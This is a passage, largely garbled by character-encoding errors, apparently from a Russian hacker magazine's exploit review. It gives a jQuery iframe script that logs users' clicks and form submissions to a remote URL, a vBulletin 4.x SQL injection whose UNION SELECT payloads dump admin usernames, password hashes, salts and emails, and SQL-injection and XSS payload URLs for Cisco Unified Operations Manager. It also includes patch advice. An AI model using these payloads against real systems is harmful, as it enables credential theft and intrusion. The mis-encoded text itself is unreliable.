ÓÁË ËÁË ÅÜÑËÁ ÎÁÖÏÅÉÓÒà ÎÁ ÒÁÍÏÍ ÒÁÊÓÆ É ÕÑÞÊÍ ÏÓÓÔÅÁ ÇÆ, ÓÏ ËÑÏÒÒ-
ÅÏÍÆÎÎÁà ÐÏÌÉÓÉËÁ ÎÉËÁË ÎÆ ÏÄÑÁÎÉØÉÃÁÆÓ àÃÁÒËÑÉÐÓ. ®ÁÅÆßÒÝ, ØÓÏ Ô 
ÍÆÎà ÐÏÌÔØÉÌÏÒÝ ÐÏÎàÓÎÏ ÏÂÛàÒÎÉÓÝ ÒÔÓÝ ÉÅÆÉ. ¦ÒÌÉ ÎÆÓ, ÓÏ ÐÏÐÑÁËÓÉ-
ËÏÃÁÃÙÉÒÝ ÎÁ ÓÆÒÓÏÃÏÍ ÒÁÊÓÆ bit.ly/jETYQx, ÓÜ ÃÒÆ ÐÏÊÍÆÙÝ.
®Æ ÍÏÄÔ ÒËÁÈÁÓÝ, ØÓÏ ÐÏÌàË ÏÓËÑÜÌ ØÓÏ-ÓÏ ÎÆÃÆÅÁÎÎÏÆ, Ï ÓÁËÏÍ ÐÏÅÖÏÅÆ 
ÍÎÏÄÉÆ ÅÔÍÁÌÉ, ÎÏ ÏÎ ÒÅÆÌÁÌ ËÁØÆÒÓÃÆÎÎÔß ÑÆÁÌÉÈÁ×Éß, ÒÏÂÑÁÃ ÃÒÆ 
ÃÏÆÅÉÎÏ. °ÏËÁ Ã XSS-tracker ÑÆÁÌÉÈÏÃÁÎ ÍÏÎÉÓÏÑÉÎÄ ÃÃÏÅÁ ÅÁÎÎÜÖ É 
ÐÆÑÆÖÃÁÓ ÕÁÊÌÏÃ. ®Á ÐÑÁËÓÉËÆ ÃÒÆ ÑÆÁÌÉÈÏÃÁÎÏ ÎÁ ÂÁÈÆ ÂÉÂÌÉÏÓÆËÉ 
jQuery É ÃÜÄÌàÅÉÓ ÒÌÆÅÔßÚÉÍ ÏÂÑÁÈÏÍ. ²ÎÁØÁÌÁ ÐÑàØÆÓÒà ÒÁÍ ÕÑÞÊÍ 
É ÐÏÅÄÑÔÇÁÆÓÒà ÉÒÖÏÅÎÁà ÒÓÑÁÎÉ×Ô:

$('body').children().hide();
$('<iframe>')
  .css({ position: 'absolute', width: '100%', height: '100%',
            top: 0, left: 0, border: 0, background: '#fff' })
  .attr('src', 'http://example.com').appendTo('body');

¥ÏÒÓÔÐ Ë ÃÎÔÓÑÆÎÎÉÍ ÞÌÆÍÆÎÓÁÍ ÍÜ ÐÏÌÔØÁÆÍ ËÁÇÅÜÊ ÑÁÈ ÐÑÉ ÏÂ-
ÎÏÃÌÆÎÉÉ ÕÑÆÊÍÁ, ÓÏ ÆÒÓÝ ÐÑÉ ÌßÂÏÍ ÐÆÑÆÖÏÅÆ ÐÏÌÝÈÏÃÁÓÆÌà ÃÎÔÓÑÉ 
ÕÑÞÊÍÁ.

$('<iframe>').load(function() {
  this.contentWindow; this.contentDocument;
});

ÏÎÉÓÏÑÉÎÄ ÐÆÑÆÖÏÅÏÃ ÐÏ ÃÒÆÍ ÒÒÜÌËÁÍ É ÃÃÏÅ ÕÏÑÍ.

$('body',this.contentDocument)
.fi nd('a')
  .click(function() {
    log({event:'click', 'from': location, 'href': this.href,
           'target': this.target});
  })
.end()
.fi nd('form')
  .submit(function() {
    log({event: 'submit',
       from: location,
       action: $(this).attr('action') || location,
       fi elds: $(this).serialize()
       });
  })
.end();

¡ÎÁÌÏÄÉØÎÜÍ ÏÂÑÁÈÏÍ, ÉÒÐÏÌÝÈÔà ÒÆÌÆËÓÏÑÜ jQuery, ÍÜ ÍÏÇÆÍ ÏÂ-
ÑÁÓÉÓÝÒà Ë ÌßÂÏÍÔ ÞÌÆÍÆÎÓÔ ÃÎÔÓÑÉ ÒÓÑÁÎÉ×Ü. ²ÆÌÆËÓÏÑ— ÞÓÏ ØÓÏ-ÓÏ 
ÃÑÏÅÆ ÏÐÉÒÁÎÉà ÞÌÆÍÆÎÓÁ, Ë ËÏÓÏÑÏÍÔ ÏÂÑÁÚÁÆÙÝÒà. °ÑÉØÆÍ ÒÆÌÆË-
ÓÏÑÜ ÍÏÇÎÏ ÈÁÅÁÃÁÓÝ Ã ÒÃÏÆÄÏ ÑÏÅÁ ÑÆÄÆËÒÐÁÖ. ¦ÒÌÉ ÉÎÓÆÑÆÒÎÏ, ÏØÆÎÝ 
ÐÏËÁÈÁÓÆÌÝÎÏ ÃÒÆ ÏÐÉÒÁÎÏ ÎÁ ÒÁÊÓÆ api.jquery.com/category/selectors. 
®ÁÐÑÉÍÆÑ, ÉÒÐÏÌÝÈÔà ÒÌÆÅÔßÚÉÊ ÒÆÌÆËÓÏÑ, ÍÜ ÎÁÖÏÅÉÍ ÐÏÌÆ ÃÃÏÅÁ Ò 
ÉÍÆÎÆÍ password É ÃÜÃÏÅÉÍ ÆÄÏ ÈÎÁØÆÎÉÆ ÁÌÆÑÓÏÍ ÎÁ ÞËÑÁÎ:  Ȕlert(
$('input[name|="password"]').val());. ®Ô É ÒÉÒÓÆÍÁ ÌÏÄÉÑÏÃÁÎÉà 

ÃÒÆÖ ÔËÑÁÅÆÎÎÜÖ ÅÁÎÎÜÖ ÎÁÖÏÅÉÓÒà ÎÁ ÌßÂÏÍ ÒÓÏÑÏÎÎÆÍ ÒÁÊÓÆ. ¥ÁÎ-
ÎÜÆ ÏÓÐÑÁÃÌàßÓÒà ØÆÑÆÈ GET-ÈÁÐÑÏÒ:

function log(what) {
  what["_"] = Math.random(); 
  try {
      $.get(logUrl, what);
  } catch (e) {
    var i = new Image();
    i.src = logUrl + "?" + encodeURIComponent($.param(what));
    $(i).load(function() {$(this).remove();}).appendTo("body");
  }
};

¯ÒÓÁÌÝÎÜÆ ÕÉØÉ É ÃÏÈÍÏÇÎÏÒÓÉ ÉÚÉ ÎÁ ÒÁÊÓÆ ÁÃÓÏÑÁ. £ ÏÂÚÆÍ, ÉÅÆà 
ÖÏÑÏÙÁ, É ÎÁÅ ÑÆÁÌÉÈÁ×ÉÆÊ ÁÃÓÏÑ ÓÏÇÆ ÐÏÓÑÔÅÉÌÒà ÎÁ ÒÌÁÃÔ. ¦ÍÔ ÒÐÁ-
ÒÉÂÏ :). ³ÆÐÆÑÝ Ï ÍÉÎÔÒÁÖ É ÓÏÎËÏÒÓàÖ.
1. ¥ÁÎÎÁà ÑÆÁÌÉÈÁ×Éà ÉÈ-ÈÁ XSS-ÕÉÌÝÓÑÁ ÎÆ ÑÁÂÏÓÁÆÓ Ã IE8 É Chrome.
2. °ÑÏÓÉÃ ÅÁÎÎÏÊ ÓÆÖÎÏÌÏÄÉÉ (XSS+iframe) ÉÒÐÏÌÝÈÔßÓÒà ÍÆÓÏÅÜ ÈÁ-
ÚÉÓÜ— frame busting. ¾ÓÏ ÒÐÆ×ÉÁÌÝÎÜÆ àÃÁÒËÑÉÐÓÜ, ÔÎÉØÓÏÇÁßÚÉÆ 
ÕÑÆÊÍÜ. ®Ï ÞÓÏ ÃÒÆ ÓÏÇÆ ÍÏÇÎÏ ÏÂÏÊÓÉ :).
3. °ÑÉ ÏÓËÑÜÓÉÉ Ã ÕÑÆÊÍÆ ÅÑÔÄÏÄÏ ÒÁÊÓÁ, ÍÜ ÔÇÆ ÎÆ ÍÏÇÆÍ ÐÑÏÒÍÁÓÑÉ-
ÃÁÓÝ ÃÎÔÓÑÆÎÎÏÒÓÉ ÉÈ-ÈÁ ËÑÏÒÒ-ÅÏÍÆÎÎÜÖ ÐÏÌÉÓÉË.
£ ÏÂÚÆÍ, ÓÆÍÁ ÏØÆÎÝ ÂÏÌÝÙÁà É ÎÆ ÒÏÃÒÆÍ ÐÏÅÖÏÅÉÓ Ë ÕÏÑÍÁÓÔ ÞÓÏÊ 
ÑÔÂÑÉËÉ. ²ÓÑÁÎÎÏ, ØÓÏ ÎÉËÓÏ ÉÈ ÁÃÓÏÑÏÃ ÇÔÑÎÁÌÁ, ÂÏÌÆÆ ÐÑÏÙÁÑÆÎÎÜÖ Ã 
web-ÂÆÈÏÐÁÒÎÏÒÓÉ, ØÆÍ à, ÆÚÆ ÎÆ ÐÉÒÁÌ ÏÂ ÞÓÏÍ :).
© ÐÏÅ ËÏÎÆ× ÆÚÆ ÏÅÉÎ ÎÆÂÏÌÝÙÏÊ ÐÑÉÍÆÑ, ØÓÏÂÜ ÆÚÆ ÂÏÌÝÙÆ ÎÁÐÔÄÁÓÝ 
ÃÒÆÖ. ²ÌÆÅÔßÚÔß ÁÓÁËÔ ÔÅÁÌÏÒÝ ÐÑÏÃÆÑÎÔÓÝ ÍÎÆ Ò ¡ÌÆËÒÆÆÍ ²ÉÎ×ÏÃÜÍ.
¦ÒÓÝ ÒÁÊÓ ¡, ÎÁ ËÏÓÏÑÏÍ ÆÒÓÝ XSS-ÔàÈÃÉÍÏÒÓÝ. ¦ÒÓÝ ÐÏÌÝÈÏÃÁÓÆÌÝ, 
ËÏÓÏÑÜÊ ÈÁÌÏÄÉÎÆÎ ÎÁ ÒÁÊÓÆ ¡. «ÔËÉ ÈÁÚÉÚÆÎÜ HttpOnly + ÑÁÎÅÏÍÎÜÊ 
ÉÅÆÎÓÉÕÉËÁÓÏÑ Ã ÒÁÍÏÍ HTML-ËÏÅÆ. ¢ÜÌÁ ÑÆÁÌÉÈÏÃÁÎÁ ÒÌÆÅÔßÚÁà 
ÁÓÁËÁ. °ÏÌÝÈÏÃÁÓÆÌÝ ÈÁÙÆÌ ÎÁ ÒÁÊÓ ¢, ËÏÓÏÑÜÊ ÐÑÉÎÁÅÌÆÇÉÓ ÈÌÏÔ-
ÍÜÙÌÆÎÎÉËÔ. ®Á ÞÓÏÍ ÒÁÊÓÆ Ã ÒËÑÜÓÏÍ ÕÑÆÊÍÆ ÐÏÅÄÑÔÈÉÌÒà ÒÁÊÓ ¡ Ò 
ÈÁÐÔÒËÏÍ XSS-ÔàÈÃÉÍÏÒÓÉ. ¥ÁÎÎÁà ÔàÈÃÉÍÏÒÓÝ ÈÁÐÔÒÓÉÌÁ XSS-tracker, 
ÓÏ ÆÒÓÝ ÆÚÆ ÏÅÉÎ ÕÑÞÊÍ Ò ÒÁÊÓÏÍ ¡. ¥ÏËÑÔØÆÎÎÜÊ XSS-tracker ÃÜÎÔÌ ÉÈ 
ËÏÅÁ ÑÁÎÅÏÍÎÜÊ ÉÅÆÎÓÉÕÉËÁÓÏÑ É Ò ÔØÆÓÏÍ ÓÏÄÏ, ØÓÏ ËÔËÉ Ò ÂÑÁÔÈÆÑÏÍ 
ÇÆÑÓÃÜ ÐÏÒÜÌÁßÓÒà ÁÃÓÏÍÁÓÏÍ, ÒÍÏÄ ÃÜÐÏÌÎÉÓÝ ËÏÍÁÎÅÔ ÏÓ ÉÍÆÎÉ 
ÇÆÑÓÃÜ. °ÏÌÔØÉÌÒà ÓÁËÏÊ ÈÌÏÊ XSS+CSRF. £ ÑÆÈÔÌÝÓÁÓÆ ÅÁÇÆ ÃÐÁÑÉ-
ÃÁÓÝ ËÑÉÃÔß ÒÒÜÌËÔ ÐÏÌÝÈÏÃÁÓÆÌß ÎÆ ÎÁÅÏ.
PS. ¶ÏÓÆÌÏÒÝ ÂÜ ÐÏÂÌÁÄÏÅÁÑÉÓÝ ¥ÍÉÓÑÉà ¦ÃÅÏËÉÍÏÃÁ aka D1g1 (ÑÆ-
ÅÁËÓÏÑÁ ÑÁÈÅÆÌÁ ÒÏÕÓÁ Security ÎÁÙÆÄÏ DVD) ÈÁ ÐÏÍÏÚÝ, ÏËÁÈÁÎÎÔß Ã 
ÐÏÅÄÏÓÏÃËÆ ÍÁÓÆÑÉÁÌÏÃ Ã ÞÓÔ ÑÔÂÑÉËÔ :).
PS2. £ ÐÑÏÅÏÌÇÆÎÉÆ ÓÆÍÜ Ï ÎÁÐÏÌÎÆÎÉÉ ÒÆÂà ÈÎÁÎÉàÍÉ— ÐÑÉÖÏÅÉ ÎÁ 
ÃÒÓÑÆØÉ Defcon-Russia (www.defcon-russia.ru). z
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 iv  ( iv inside.blogspot.com) 

      p ikofarad  (115612,  ÅÆÑ .  «ÑÁÒÎÁà  ÈÃÆÈÅÏØËÁ ,  Å .1)

ÎÁÇÎÐ 
ÝÊÑÏËÎÈÒÎÂ

SQL-ИНЪЕКЦИЯ В VBULLETIN 4.0.X => 
4.1.2

 CVSSV2 
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)

 BRIEF 
vBulletin — ÏÅÉÎ ÉÈ ÒÁÍÜx ÑÁÒÐÑÏÒÓÑÁÎÆÎÎÜÖ ÕÏÑÔÍÎÜÖ ÅÃÉÇËÏÃ, Á Ò 
ÎÆÅÁÃÎÉÖ ÐÏÑ ÆÚÆ É CMS (vBulletin Publishing suite), Ã ÐÑÏÒÓÏÎÁÑÏÅÝÆ 
— ÂÔÌËÁ. ®ÆÍÆ×ËÉÊ ÉÒÒÌÆÅÏÃÁÓÆÌÝ ÐÏÅ ÐÒÆÃÅÏÎÉÍÏÍ J0hn.X3r ÔÇÆ ÎÆ 
Ã ÐÆÑÃÜÊ ÑÁÈ ÎÁÖÏÅÉÓ ÂÁÄÔ Ã ÞÓÏÍ ÅÃÉÇËÆ, É Ã ÞÓÏÓ ÑÁÈ Ë ÐÏÉÒËÁÍ ÆÄÏ 
ÐÏÅÓÏÌËÎÔÌÏ ÏØÆÑÆÅÎÏÆ ÏÂÎÏÃÌÆÎÉÆ ÂÆÈÏÐÁÒÎÏÒÓÉ, Ã ËÏÓÏÑÏÍ ÉÒÐÑÁÃ-
ÌàÌÉÒÝ ÎÆËÏÓÏÑÜÆ ËÑÉÓÉØÆÒËÉÆ ÔàÈÃÉÍÏÒÓÉ. ³ÁËÏÊ ÍÆÓÏÅ ÏÂÑÁÓÎÏÄÏ 
ÉÎÇÉÎÉÑÉÎÄÁ ÐÁÓØÆÊ ÙÉÑÏËÏ ÉÒÐÏÌÝÈÔÆÓÒà ÉÒÒÌÆÅÏÃÁÓÆÌàÍÉ ÅÌà 
ÃÜàÃÌÆÎÉà ÂÁÄÏÃ ËÁË Ã ÏÂÜØÎÜÖ ÒËÑÉÐÓÁÖ, ÓÁË É Ã ÂÉÎÁÑÎÜÖ ÕÁÊÌÁÖ. £ 
ÞÓÏÍ ÒÌÔØÁÆ ÓÑÆÂÔÆÓÒà ÌÉÙÝ ÐÑÏÒÍÏÓÑÆÓÝ ÉÈÍÆÎÆÎÉà, ËÏÓÏÑÜÆ ÃÎÏÒÉÓ 
ÐÁÓØ, É ÒÅÆÌÁÓÝ ÒÏÏÓÃÆÓÒÓÃÔßÚÉÆ ÃÜÃÏÅÜ. ³ÁËÉÍ ÏÂÑÁÈÏÍ, ÏÂÌÁÒÓÝ 
ÐÏÉÒËÁ ÒÔÚÆÒÓÃÆÎÎÏ ÒÏËÑÁÚÁÆÓÒà.

 EXPLOIT 
£ÈÏÑ ÂÁÄÏÉÒËÁÓÆÌà ÐÁÌ ÎÁ ÅÃÁ ÕÁÊÌÁ. °ÆÑÃÜÍ ÉÈ ÎÉÖ ÂÜÌ /vb/search/
searchtools.php É ËÏÎËÑÆÓÎÏ ÕÔÎË×Éà getDisplayString:

public static function getDisplayString($table, 
   $table_display, $fi eldname, $key, $id, $comparator, $is_date)
{
    global $vbulletin, $vbphrase;
    $names = array();

    if (is_array($id)) 
    {
        $sql = "SELECT DISTINCT $table.$fi eldname from " . 

          TABLE_PREFIX . 
          "$table AS $table WHERE $key IN (" . implode(', ', $id) . ")";
        if ($rst = $vbulletin->db->query_read($sql))
        {
            while($row = $vbulletin->db->fetch_row($rst))
            {
                $names[] = $row[0];
            }
        }

        if (count($names) > 0)
        {
            return $table_display . ': ' . implode(', ', $names);
        }
    }
    else
    {
        //If we got here, we have a single value
        if ($row = $vbulletin->db->query_fi rst(
           "SELECT $table.$fi eldname from " . TABLE_PREFIX . 
           "$table AS $table WHERE $key = $id"))
        {
            return  $table_display . ' ' . 
               self::getCompareString($comparator, $is_date)
               . ' ' . $row[0];
        }
    }

    return "";
}

©ÎÓÆÑÆÒ ÅÌà ÎÁÒ Ã ÞÓÏÊ ÕÔÎË×ÉÉ ÐÑÆÅÒÓÁÃÌàÆÓ ÐÆÑÆÍÆÎÎÁà $id, ËÏÓÏÑÁà 

Разбираем 
свежие 
уязвимости

Ìèíóâøèé ìåñÿö áûë äîñòàòî÷íî áîãàò íà ïóáëèêàöèè ðàçíî-
îáðàçíûõ ýêñïëîèòîâ, â îñîáåííîñòè äëÿ âåá-ïðèëîæåíèé: Joomla, 
vBulletin è WordPress ñòàáèëüíî ïîêàçûâàþò õîðîøèå (à äëÿ êîãî-
òî è ïëîõèå) ïîçèöèè â ÷àðòàõ. Âñå èõ ðàçîáðàòü â îáçîðå, óâû, íå 
âûéäåò, íî ñàìûå èíòåðåñíûå óæå æäóò òåáÿ!
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ÎÉËÁË Ã ÎÆÊ ÎÆ ÕÉÌÝÓÑÔÆÓÒà. ³ÆÐÆÑÝ ÐÏÒÍÏÓÑÉÍ, ÄÅÆ ÉÒÐÏÌÝÈÔÆÓÒà ÞÓÁ 
ÔàÈÃÉÍÁà ÕÔÎË×Éà, É ÏÂÎÁÑÔÇÉÍ ÕÁÊÌ /packages/vbforum/search/type/
socialgroup.php, ÒÓÑÏËÉ 201-203:

vB_Search_Searchtools::getDisplayString(
   'socialgroupcategory', $vbphrase['categories'],
   'title', 'socialgroupcategoryid',
   $value, vB_Search_Core::OP_EQ, true ));

©ÒÓÉÎÁ ÄÅÆ-ÓÏ ÑàÅÏÍ. «ÁË ÅÆÊÒÓÃÏÃÁÓÝ ÅÁÌÝÙÆ? ©È ÐÁÑÁÍÆÓÑÏÃ 
ÕÔÎË×ÉÉ ÒÓÁÎÏÃÉÓÒà àÒÎÏ, ØÓÏ ÃÜÈÏÃ ÒÃàÈÁÎ Ò ÐÏÉÒËÏÍ ÐÏ ÎÆËÉÍ 
«social groups». £ ÖÏÅÆ ÞËÒÐÆÑÉÍÆÎÓÏÃ ÑÆËÏÍÆÎÅÔÆÓÒà ÉÒÐÏÌÝÈÏÃÁÓÝ 
Live HTTP Headers — ÐÌÁÄÉÎ ÅÌà Firefox, ÓÁË ËÁË ÎÁÍ ÐÑÉÅÆÓÒà ÑÁ-
ÂÏÓÁÓÝ Ò ÐÁÑÁÍÆÓÑÁÍÉ Ã POST-ÈÁÐÑÏÒÁÖ. ³ÁË ËÁË ÉÒÖÏÅÎÁà ÕÔÎË×Éà 
àÃÎÏ ÉÒÐÏÌÝÈÔÆÓÒà ÐÑÉ ÐÏÉÒËÆ, ÓÏ ÐÏÅÃÆÑÄÎÆÍ ÞËÈÆËÔ×ÉÉ ÒÓÑÁÎÉ×Ô 
ÐÏÉÒËÁ search.php. °ÆÑÆÊÅÆÍ ÐÏ ÒÒÜÌËÆ «Search Multiple Content 
Types» É ÏÓÍÆÓÉÍ ÄÁÌÏØËÔ ÎÁÐÑÏÓÉÃ «groups», Á Ã ÒÓÑÏËÔ ÐÏÉÒËÁ 
ÃÃÆÅÆÍ ÎÁÈÃÁÎÉÆ ËÁËÏÊ-ÎÉÂÔÅÝ ÒÔÚÆÒÓÃÔßÚÆÊ ÄÑÔÐÐÜ ÉÌÉ ÆÆ ØÁÒÓÝ, 
ÎÁÐÑÉÍÆÑ, team. £ÏÓ ÓÁËÏÊ POST-ÈÁÐÑÏÒ ÐÑÉ ÞÓÏÍ ÐÏÌÔØÉÓÒà:

type%5B%5D=7&query=team&titleonly=1&searchuser=&ex
actname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=a
fter&sortby=relevance&order=descending&saveprefs=1&s=&securit
ytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do
=process&searchthreadid=

¥Ìà ÞËÒÐÌÔÁÓÁ×ÉÉ ÔàÈÃÉÍÏÒÓÉ ÅÏÐÏÌÎÉÍ ÉÒÖÏÅÎÜÊ ÈÁÐÑÏÒ SQL-
ÉÎÛÆË×ÉÆÊ:

type%5B%5D=7&query=team&titleonly=1&searchuser=&ex
actname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=a
fter&sortby=relevance&order=descending&saveprefs=1&s=
&securitytoken=1302542927-d4cf038925f1bba6869e060b837d6513
71f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT
 'haxhax' #

¢ÉÎÄÏ! £ ÒÏÅÆÑÇÉÍÏÍ ÒÓÑÁÎÉ×Ü ÐÏàÃÉÌÁÒÝ ÎÁÙÁ ÉÎÛÆËÓÉÑÔÆÍÁà ÒÓÑÏËÁ 
haxhax. ¦ÅÆÍ ÅÁÌÝÙÆ: ÍÏÅÉÕÉ×ÉÑÔÆÍ ÈÁÐÑÏÒ ÓÁË, ØÓÏÂÜ ÃÜÃÆÒÓÉ ÌÏÄÉÎ, 
ÖÞÙ, ÒÏÌÝ É ÍÞÊÌ ÁÅÍÉÎÁ:

type%5B%5D=7&query=team&titleonly=1&searchuser=&ex
actname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=a
fter&sortby=relevance&order=descending&saveprefs=1&s=
&securitytoken=1302542927-d4cf038925f1bba6869e060b837d
651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION
 SELECT concat_ws(0x3a,username,password,salt,email) FROM
 bulletinuser limit 1,1#

¥ÁÌÆÆ ÏÒÓÁÌÏÒÝ ÌÉÙÝ ÐÏÅÏÂÑÁÓÝ ÐÁÑÏÌÝ ÌßÂÜÍÉ ÐÏÅÑÔØÎÜÍÉ ÒÑÆÅ-
ÒÓÃÁÍÉ, ÂÔÅÝ ÓÏ John The Ripper, PasswordsPro ÉÌÉ ËÁËÏÊ-ÎÉÂÔÅÝ 
ÏÎÌÁÊÎÏÃÜÊ ÒÆÑÃÉÒ, ËÏÉÖ ÎÜÎØÆ ÑÁÈÃÆÌÏÒÝ Ã ÅÏÒÓÁÓËÆ.

 TARGETS 
• vBulletin Publishing Suite 4.0.0 — 4.1.2
• vBulletin Forum Classic 4.0.0 — 4.1.2

 SOLUTION 
¯ÂÎÏÃÉÓÝ ÅÃÉÇÏË ÅÏ ÂÏÌÆÆ ÐÏÈÅÎÆÊ ÃÆÑÒÉÉ ÉÌÉ ÔÒÓÁÎÏÃÉÓÝ ÐÁÓØ.
¦ÚÆ ÒÔÚÆÒÓÃÔÆÓ ÍÆÓÏÅ ÐÁÓØÉÎÄÁ ÃÑÔØÎÔß, ËÏÓÏÑÜÊ ÈÁËÌßØÁÆÓÒà Ã 
ÓÏÍ, ØÓÏ ÐÆÑÆÍÆÎÎÁà $id ÏÂÏÑÁØÉÃÁÆÓÒà Ã ÃÜÈÏÃ ÒÐÆ×ÉÁÌÝÎÏÊ ÕÔÎË-
×ÉÉ, ÕÉÌÝÓÑÔßÚÆÊ ÎÆÇÆÌÁÓÆÌÝÎÜÆ ÈÎÁØÆÎÉà:

$id = $vbulletin->db->sql_prepare($id);
if (is_array($id))
{

®Ï ÞÓÏ ÆÚÆ ÎÆ ÃÒÆ. ³ÁË ËÁË ÐÆÑÆÍÆÎÎÁà $id ÍÏÇÆÓ ÂÜÓÝ ÍÁÒÒÉÃÏÍ 
ÐÆÑÆÍÆÎÎÜÖ, ÎÔÇÎÏ ÅÏÂÁÃÉÓÝ Ã ÕÔÎË×Éß sql_prepare() ÏÂÑÁÂÏÓËÔ 
ÞÓÏÄÏ ÒÌÔØÁà (ÐÏ ÔÍÏÌØÁÎÉß ÆÄÏ ÓÁÍ, ËÁË ÎÉ ÒÓÑÁÎÎÏ, ÎÆÓ). «ÏÎÆØÎÜÊ 
ÃÁÑÉÁÎÓ ÃÜÄÌàÅÉÓ ÓÁË:

function sql_prepare($value)
{
    if (is_string($value))
    {
        return "'" . $this->escape_string($value) . "'";
    }
    else if (is_numeric($value) AND $value + 0 == $value)
    {
        return $value;
    }
    else if (is_bool($value))
    {
        return $value ? 1 : 0;
    }
    else if (is_null($value))
    {
        return "''";
    }
    else if (is_array($value))
    {
        foreach ($value as $key => $item)
        {
            $value[$key] = $this->sql_prepare($item);
        }
        return $value;
    }
    else
    {
        return "'" . $this->escape_string($value) . "'";
    }
}

МНОЖЕСТВЕННЫЕ УЯЗВИМОСТИ В 
CISCO UNIFIED OPERATIONS MANAGER 
8.0 И 8.5

 CVSSV2 
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)

 BRIEF 
Cisco Unified Operations Manager (CuOM) — ËÏÍÐÌÆËÒÎÏÆ ÑÆÙÆÎÉÆ 
ÏÓ ÉÈÃÆÒÓÎÏÄÏ ÃÆÎÅÏÑÁ, ÐÑÆÅÎÁÈÎÁØÆÎÎÏÆ ÅÌà ÍÏÎÉÓÏÑÉÎÄÁ ÒÏÒÓÏà-
ÎÉà ÒÆÓÉ É ÏÐÆÑÁÓÉÃÎÏÄÏ ÑÆÙÆÎÉà ÃÏÈÎÉËÁßÚÉÖ ÐÑÏÂÌÆÍ. ±ÆÙÆÎÉÆ 
ÞÓÏ ÏËÁÈÁÌÏÒÝ ÎÁ ÔÅÉÃÌÆÎÉÆ ÅÜÑàÃÜÍ. £ ÒÆÑÆÅÉÎÆ ÍÁà ÉÒÒÌÆÅÏÃÁ-
ÓÆÌÉ ÉÈ Sense of Security ÏÐÔÂÌÉËÏÃÁÌÉ ×ÆÌÜÊ ÃÁÄÏÎ ÔàÈÃÉÍÏÒÓÆÊ Ã 
ÞÓÏÍ °¯: ÈÅÆÒÝ É ÒÌÆÐÜÆ SQL-ÉÎÛÆË×ÉÉ, É ÍÆÇÒÁÊÓÏÃÜÊ ÒËÑÉÐÓÉÎÄ, 
É ÃÜÖÏÅ ÈÁ ËÏÑÎÆÃÔß ÅÉÑÆËÓÏÑÉß ÃÆÂ-ÒÆÑÃÆÑÁ. ³ÑÁÅÉ×ÉÏÎÎÏ, Ã 
ÒÌÔØÁÆ ÍÎÏÇÆÒÓÃÆÎÎÜÖ ÔàÈÃÉÍÏÒÓÆÊ ÒØÆÓØÉË CVSS ÏÐÑÆÅÆÌàÆÓÒà 
ÐÏ ÒÁÍÏÊ ÒÆÑÝÆÈÎÏÊ ÉÈ ÎÉÖ, Ã ÅÁÎÎÏÍ ÒÌÔØÁÆ ÞÓÏ SQL-ÉÎÛÆË×Éà, É 
ÐÏÞÓÏÍÔ ÎÁÙ ÞËÒÐÏÎÁÓ ÈÁÑÁÂÏÓÁÌ 7,5 ÂÁÌÌÏÃ ÉÈ 10.
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 EXPLOIT 
1. °ÆÑÆÍÆÎÎÁà CCMs Ã ÒËÑÉÐÓÆ PRTestCreation.do ÐÏÅÃÆÑÇÆÎÁ ÒÌÆÐÏÊ 
SQL-ÉÎÛÆË×ÉÉ, ËÏÓÏÑÔß ÍÏÇÎÏ ÐÑÏÅÆÍÏÎÒÓÑÉÑÏÃÁÓÝ ÂÁÎÁÌÝÎÏÊ ÏÅÉÎÁÑ-
ÎÏÊ ËÁÃÜØËÏÊ:

/iptm/PRTestCreation.do?RequestSource=dashboard&MACs=&CCMs=
'waitfor%20delay'0:0:20'--&Extns=&IPs=

¡ÎÁÌÏÄÉØÎÏÊ ÔàÈÃÉÍÏÒÓÉ ÐÏÅÃÆÑÇÆÎÁ ÐÆÑÆÍÆÎÎÁà ccm Ã ÒËÑÉÐÓÆ 
TelePresenceReportAction.do:

/iptm/TelePresenceReportAction.do?ccm='waitfor%20
delay'0:0:20'--

2. °ÁÒÒÉÃÎÜÆ XSS ÂÜÌÉ ÏÂÎÁÑÔÇÆÎÜ Ã ÂÏÌÝÙÏÍ ËÏÌÉØÆÒÓÃÆ ÒËÑÉÐÓÏÃ 
ÐÑÉÌÏÇÆÎÉà Common Services Device Center, ÃÏÓ ÌÉÙÝ ÎÆËÏÓÏÑÜÆ ÉÈ 
ÎÉÖ:

/iptm/advancedfi nd.do?extn=73fcb</script><script>alert(1)
</script>23fbe43447/iptm/logicalTopo.do?clusterName=
db4c1"%3balert(1)//4031caf63d7

°ÏÌÎÜÊ ÒÐÉÒÏË ÔàÈÃÉÍÜÖ ÒËÑÉÐÓÏÃ ÎÁÖÏÅÉÓÒà Ã ÁÅÃÉÈÏÑÉ SOS-11-
006, ËÏÓÏÑÁà Ã ÒÃÏÂÏÅÎÏÍ ÅÏÒÓÔÐÆ ÏÂÉÓÁÆÓ Ã ÉÎÓÆÑÎÆÓÆ. ®Æ ÔÅÁ-
ÌÏÒÝ ÔÓÁÉÓÝ ÂÁÄÉ É ÐÑÉÌÏÇÆÎÉß ÐÏÅ ÎÁÈÃÁÎÉÆÍ Common Services 
Framework Help Servlet, Ã ËÏÓÏÑÏÍ ÓÏÇÆ ÂÜÌÁ ÏÂÎÁÑÔÇÆÎÁ ÐÁÒÒÉÃ-
ÎÁà XSS:

/cwhp/device.center.do?device=&72a9f"><script>alert(1)</
script>5f5251aaad=1

3. °ÑÏÅÏÌÇÁÆÓ ÎÁÙ ÖÉÓ-ÐÁÑÁÅ ÃÆÂ-ÐÑÉÌÏÇÆÎÉÆ CiscoWorks 
Homepage, ËÏÓÏÑÏÆ ÐÏÑÁÅÔÆÓ ÎÁÒ ÃÏÈÍÏÇÎÏÒÓÝß ÃÜÖÏÅÁ ÈÁ ÐÑÆÅÆÌÜ 
ËÏÑÎÆÃÏÊ ÅÉÑÆËÓÏÑÉÉ ÃÆÂ-ÒÆÑÃÆÑÁ, ÂÌÁÄÏÅÁÑà ØÆÍÔ ÒÓÁÎÏÃÉÓÒà ÃÏÈ-
ÍÏÇÎÜÍ ØÉÓÁÓÝ ÐÑÏÉÈÃÏÌÝÎÜÆ ÕÁÊÌÜ Ã ÒÉÒÓÆÍÆ. ®ÉÇÆ ÐÑÆÅÒÓÁÃÌÆÎÜ 
